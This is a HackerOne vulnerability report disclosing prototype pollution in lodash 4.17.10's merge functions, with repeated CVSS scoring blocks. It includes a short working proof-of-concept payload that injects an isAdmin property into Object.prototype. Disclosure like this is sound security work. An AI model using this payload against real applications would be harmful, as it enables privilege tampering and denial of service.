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hackeroneAsgerfH1:380873
HistoryJul 12, 2018 - 8:28 a.m.

Node.js third-party modules: Prototype pollution attack (lodash / constructor.prototype)

2018-07-1208:28:18
asgerf
hackerone.com
107

5.6 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

44.5%

I would like to report a prototype pollution vulnerability in lodash.
It allows an attacker to inject properties on Object.prototype.

Module

module name: lodashversion:4.17.10npm page: https://www.npmjs.com/package/lodash

Module Description

The Lodash library exported as Node.js modules.

Module Stats

12M downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability:
https://hackerone.com/reports/310443

The functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {constructor: {prototype: {...}}} and send it to _.merge.

var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443

5.6 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

44.5%